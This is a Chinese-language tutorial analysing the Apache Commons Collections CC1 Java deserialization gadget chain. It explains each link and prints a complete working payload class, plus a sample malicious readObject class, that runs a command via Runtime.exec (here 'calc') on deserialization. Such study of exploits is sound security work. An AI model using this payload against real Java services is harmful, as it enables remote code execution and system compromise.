CC1链研究
CC1链流程分析
先明确一下目标:找到迷宫的出口点(恶意代码执行部分),迷宫的入口点(readobject)
先找一下迷宫的出口点

获得传入进来的input的类,获取这个类中的一个方法,通过method.invoke去反射执行这个方法。
因此,我们可以传入Runtime这个类,然后去调用他的exec方法去任意命令执行。

InvokerTransformer的构造方法需要传入三个参数,iMethodName,iParamTypes,iArgs:
iMethodName:恶意执行类的方法
iParamTypes : 方法的参数类型(如使用exec则是String类型)
iArgs :调用这个恶意方法时传入的参数
在InvokerTransformer类中的transform方法中需要传入一个参数,input:
input :恶意方法所在的类
具体的示范代码如下所示:
public class reflex {
public static void main(String[] args) throws Exception {
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
);
Runtime runtime = Runtime.getRuntime();
invokerTransformer.transform(runtime);
}
}
ok,找到了迷宫的出口点。那么我们现在就该顺着调用关系去找迷宫的入口点了。
因为是transform的函数进行调用,因此我们可以去搜索transform方法的具体实现。选中transform函数,鼠标右键,查找用法,发现在valueTransformer中有调用这个方法。

如果我们最终要实现InvokerTransformer.transform那么我们就需要给valueTransformer进行实例化一个invokerTransformer的对象,那么我们就会有如下的问题:
1、valueTransformer的具体调用过程是怎么样的
2、checkSetValue的方法又是如何调用的
目前我们对于第一个问题有些许眉目,我们知道要赋什么值给他,我们可以先跟进第一个问题。按住Ctrl+鼠标左键,找到源头,去找当前TransformedMap类的构造函数。发现是一个工厂函数创建的,因此我们直接去创建这个类就好了。

这个类需要三个参数,其中第三个参数就是我们要实例化的invokerTransformer对象。剩下两个参数大概跟一下第一个map参数可以发现,继承于AbstractInputCheckedMapDecorator父类,而且这个参数是一定需要的不然会报错,第二个参数没有具体要求。我们可以更新一下payload
Map<Object,Object> map = new HashMap();
map.put("key","value");
Map<Object,Object> transformed = TransformedMap.decorate(map,null, invokerTransformer);


回到刚才的两个问题,我们现在需要找checkSetValue的方法的调用,同样的方法去查找其用法,发现只有AbstractInputCheckedMapDecorator类的内部类MapEntry有继承这个方法,但是还是没找到我们需要的readobject类,因此我们还需要继续去找调用。

再次进行查找用法,哎这不就出来了!有readobject类,同时还支持反序列化,这两个条件都满足了,完美的符合我们所需要!因此我们的调用链就可以先更新一下了
AnnotationInvocationHandler.readobject->memberValue.setValue->checkSetValue(valueTransformer.transform)->InvokerTransformer.transform->命令执行

调用链出来了,现在我们就需要考虑每个方法调用时传入的参数了
首先我们面临的第一大问题就是Runtime如何进行反序列化?
因为runtime没有继承反序列化的接口,如果直接反序列化会报错。

但是class类继承了反序列化接口,因此我们可以通过runtime的class类进行绕过

Class aclass = Runtime.class;
Method method = aclass.getDeclaredMethod("getRuntime", new Class[]{});
Runtime runtime = (Runtime) method.invoke(null,null);
runtime.exec("calc");
这个方法确实可以让我们序列化Runtime.class了,但是这个readobject里面没有反射调用的代码啊,所以我们得去找一个可执行的代码。哎这不是正巧了,之前的transform不是可以执行任意代码所以才导致会有代码执行的问题,那如果我们多次调用岂不是就可以直接代码执行了!
Class aclass = Runtime.class;
InvokerTransformer invokerTransformer1 = new InvokerTransformer(
"getDeclaredMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}
);
InvokerTransformer invokerTransformer2 = new InvokerTransformer(
"invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,null}
);
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
);
Method method = (Method) invokerTransformer1.transform(aclass);
Runtime runtime = (Runtime) invokerTransformer2.transform(method);
invokerTransformer.transform(runtime);
可以弹出计算器!但是如果这样的话我们又面临了一个新问题,按照之前的调用链,checkSetValue(valueTransformer.transform)我们只能执行一次transform,但现在需要调用多次,如果直接传参肯定是不行的,我们需要找一个能够重复调用transform方法的函数。而且我们观察一下传递的参数,发现每次传入的参数都是我们上一步执行的结果。
发现有一个ChainedTransformer类而且这个类还继承序列化。再去看这个类的传参,每次循环会将上次的输出结果当作输入进行循环,这简直是为我们量身定做啊!

现在后面transfrom的利用连调用完了,但是还有一个问题我们该如何传入第一个参数?
注意:
1、如果我们想直接传入runtime肯定是不行的,因为没有transform方法,没办法调用ChainedTransformer.transform。
2、Runtime.class只是获取Runtime的class对象并没有调用方法,所以向后面几种直接使用invokerTransformer.transform的方法执行也不行。
所以还需要去找到一个类,这个类必须满足:能够调用transform方法,而且输出的结果还是Runtime.class。
ConstantTransformer类:

这个类就完美符合了我们的预期,继承了序列化和transform的接口,在调用transform方法时会返回在构造函数创建类是传入的参数(注意这个返回的参数不是调用transform方法时传入的参数,而是在new对象时传入的参数,这个也很重要!)。
ok!到此为止我们终于搞定了Runtime没有继承序列化的问题!
回顾一下大致的思路:
ChainedTransformer.transform->ConstantTransformer.transform(获得Runtime.class)->ChainedTransformer.transform->InvokerTransformer.transform(获得getDeclaredMethod)->ChainedTransformer.transform->InvokerTransformer.transform(获得invoke)->ChainedTransformer.transform->InvokerTransformer.transform(获得exec)
Class aclass = Runtime.class;
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getDeclaredMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,null}
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
现在我们就可以去创建有readobject类的对象了,即AnnotationInvocationHandler类,看眼构造函数。需要传两个参数,第一个参数传入的是Annotation(注解类),第二个是一个map的形式。

Annotation:
这个类就是我们平时常用的@Override、@Target,@RequestMapping等一系列的注解
那我们具体这两个参数要传入什么值呢?我们还是得看readobject方法中对这两个值是如何调用的才行。

首先我们先来看注解类的传参是啥,一下是和注解类传参有关联的代码
annotationType = AnnotationType.getInstance(type);
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
Class<?> memberType = memberTypes.get(name);
if (memberType != null)
if (!(memberType.isInstance(value)
因为我们最后需要调用memeberValue.setValue方法,所以if判断全都需要满足。
大概解释下这段代码:
获得传入注解的元数据,获得注解的所有成员属性作为放到map中,键是成员对象的名字。查找这个map中是否包含value变量的值。
那我们的value值是从哪来的呢?是从memberValue中获取的,memberValue又是对memberValues进行遍历获取的,memberValues不就是我传入的第二个参数!也就是说我传入的map中要包含第一个注解类的成员对象才行。那我们就可以更新下我们的payload了。
map.put("value","value");
Map<Object,Object> transformdecorate=TransformedMap.decorate(map,null,chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Target.class, transformdecorate);
问题点:
1、为什么这里需要反射调用AnnotationInvocationHandler不能直接new对象吗?

构造函数没有被修饰,默认为default类型,所以没法没办法通过名称来获取,只能通过反射获取。
2、为什么这里的注解类不用Override?
跟进一下会发现Override没有属性,需要更换一个有属性的Target中就有一个value属性


ok!现在两个传参的问题都解决了,但是又出现了一个新问题,按照我们之前的思路我们需要传入一个Runtime.class,但是这里的对象被写死了,没办法传入Runtime怎么办?


这时候就要用到我刚才说的小伏笔了,ConstantTransformer.transform返回的并不是传入的input参数而是构造函数时传入的参数

这样的话问题就迎刃而解了!下面给出完整的payload:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class test2 {
public static void main(String[] args) throws Exception {
Class aclass = Runtime.class;
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getDeclaredMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,null}
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
HashMap map = new HashMap();
map.put("value","value");
Map<Object,Object> transformdecorate =TransformedMap.decorate(map,null,chainedTransformer);
Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Target.class, transformdecorate);
serialize(obj);
unserialize(obj);
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1"));
oos.writeObject(obj);
oos.close();
}
public static void unserialize(Object obj) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1"));
ois.readObject();
ois.close();
}
}
一些细节上的补充
在调用setValue时我们会遇到两个问题:
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
1、value应该传入什么?
2、parent是什么?
由上面的过程我们知道value是没办法控制,但是可以通过ConstantTransformer.transform巧妙的绕过。但是第二个问题我们之前没有提到,parent是从哪里获取的?为什么我可以传入transformdecorate呢?
可以看到parent在MapEntry类的构造方法中传入的,查看一下发现有三个地方实现了它。


都跟进一下发现最终都是在entrySet类中创建的EntrySet对象,其中的this就是后面的parent。

如果需要调用entrySet的话就需要创建AbstractInputCheckedMapDecorator类,但是这个类是一个抽象类,所以如果我们要传入数据的话就必须创建出它的子类,去查看一下实现的子类

刚好有TransformedMap子类继承了AbstractInputCheckedMapDecorator类,所以我们才能够传进去transformdecorate类。
获得的一些经验
理解new Class[],new Object[]的意思
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class}, //new Class[]指的是获得类中的方法,{}里面的参数是方法中的参数类型(String类型)
new Object[]{"calc"} //new Object[]指的是传递的数据,{}里面是具体的数据
);
遇到无法反序列化的类如何应对
如果有一些类无法序列化(例如Runtime类)可以通过class类可以反序列化,通过反射的机制去获得Runtime类,具体的流程如下:
1. 获取 Runtime 类的 Class 对象
Class<?> clazz = Runtime.class;
这里获取的是 Runtime 类的 Class 对象,而不是具体的 Runtime 实例。由于 Class 实现了 Serializable 接口,所以这个 Class 对象是可以被序列化的。
2. 使用反射调用 getRuntime() 方法
Method getRuntimeMethod = clazz.getDeclaredMethod("getRuntime", null);
通过反射获取 Runtime 类中的 getRuntime() 方法。这个方法是一个静态方法,不需要实例就可以调用。
3. 调用 getRuntime() 方法获取 Runtime 实例
Runtime runtime = (Runtime) getRuntimeMethod.invoke(null, null);
调用 getRuntime() 方法并传入 null 作为参数(因为它是静态方法),从而得到一个 Runtime 实例。
注:攻击者不会直接反序列化runtime这个类,而是会反序列化Runtime.class这个类,然后通过readobject方法去实例化这个runtime
以下为错误示范
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Method;
public class test2 {
public static void main(String[] args) throws Exception {
Class aclass = Runtime.class;
Method method = aclass.getMethod("getRuntime",null);
Runtime runtime = (Runtime) method.invoke(null,null);
serialize(runtime.exec("cmd.exe /c calc"));
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1"));
oos.writeObject(obj);
oos.close();
}
}
攻击者可能的操作
// 攻击者构造的恶意类(可序列化)
public class Exploit implements Serializable {
// 组件1:无害的类引用(可序列化)
private Class<?> runtimeClass = Runtime.class;
// 组件2:要执行的命令(可序列化)
private String command;
public Exploit(String cmd) {
this.command = cmd;
}
// 🔥 关键魔法:反序列化时自动执行
private void readObject(ObjectInputStream ois) throws Exception {
// 1. 先执行默认反序列化(还原 runtimeClass 和 command)
ois.defaultReadObject();
// 2. 开始攻击(使用反射获取 Runtime 实例)
Method getRuntime = runtimeClass.getMethod("getRuntime");
Runtime rt = (Runtime) getRuntime.invoke(null);
// 3. 执行系统命令
rt.exec(this.command);
}
}
本质上攻击者只是序列化了Runtime.class而已不是去直接执行命令!
getDeclaredMethod和getMethod区别:
public Method getDeclaredMethod(String name, Class<?>... parameterTypes)
public Method getMethod(String name, Class<?>... parameterTypes)
主要区别
| 特性 | getDeclaredMethod() | getMethod() |
|---|---|---|
| 访问范围 | 获取本类中所有声明的方法(包括私有、受保护、默认、公有) | 只能获取本类中public 方法,包括从父类继承来的 public 方法 |
| 是否包含继承的方法 | ❌ 不包含父类的方法 | ✅ 包含父类的 public 方法 |
| 是否可以获取 private 方法 | ✅ 可以获取 private 方法 | ❌ 不可以获取 private 方法 |
| 是否需要调用 setAccessible(true) | 是(如果是 private 方法) | 否(只能获取 public 方法) |
| 构造反序列化利用链(如 ysoserial 中) 多用 getDeclaredMethod() + setAccessible(true) |
AnnotationType.getInstance是啥意思
从一个特定的 type 获取其关联的注解类型实例
例如:在本次cc1链的研究中需要传入进来一个memberTypes的参数,具体代码如下
annotationType = AnnotationType.getInstance(type);
//获取一个注解类型的描述对象,其中type表示的就是某个具体的注解类
//getInstance(type) 返回的是该注解类型的信息,包括它的所有成员(属性)、默认值、成员类型等
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
//获取注解的所有成员变量
Class<?> memberType = memberTypes.get(name);
注意两个类
ChainedTransformer类
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
ChainedTransformer类中的transform方法。在这个类中会循环调用传入进去iTransformers数组元素的transform方法,并且每次会将上次执行的结果做为下次的object重新传入transform中。
此函数的优势:相当于我只需要调用一次transform方法,但是可以执行很多类的transform方法。
此函数的劣势:每次传入的object参数必须得是上次执行的结果
ConstantTransformer 类
构造方法:
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
transform方法:
public Object transform(Object input) {
return iConstant;
}
这个类在使用transform方法时会返回一个类的字符串形式,相当于调用了toString方法
为什么memberValue.setValue都写死了还是能够运行Runtime

我们知道我们传入的第一个类是ConstantTransformer,但是这个类中的transform方法和你具体传入的参数没有关系,只会返回构造函数时传入的方法,而我们构造函数代码是:
new ConstantTransformer(Runtime.class)

链的构造思路
整体构造链思路:
AnnotationInvocationHandler.readobject->memberValue.setValue->checkSetValue(valueTransformer.transform)->InvokerTransformer.transform->命令执行
细节构造链:
readobject->验证是否为注解类且是否为对于的值->memberValue.setValue->checkSetValue(调用一个transform方法)->ChainedTransformer.transform(调用数组中各个类的transform方法)->ConstantTransformer.transform(返回调用构造函数时传入的值,即Runtime类的字符串)->ChainedTransformer.transform->InvokerTransformer.transform(获得getDeclaredMethod)->ChainedTransformer.transform->InvokerTransformer.transform(获得invoke)->ChainedTransformer.transform->InvokerTransformer.transform(获得exec)->命令执行
后面的重复构造绕过runtime无法反序列的限制
参考文献:
CC1链——全网最菜的分析思路:[[https://www.freebuf.com/articles/web/410767.html]]
JAVA安全初探(三):CC1链全分析:[[https://xz.aliyun.com/news/12115]]

浙公网安备 33010602011771号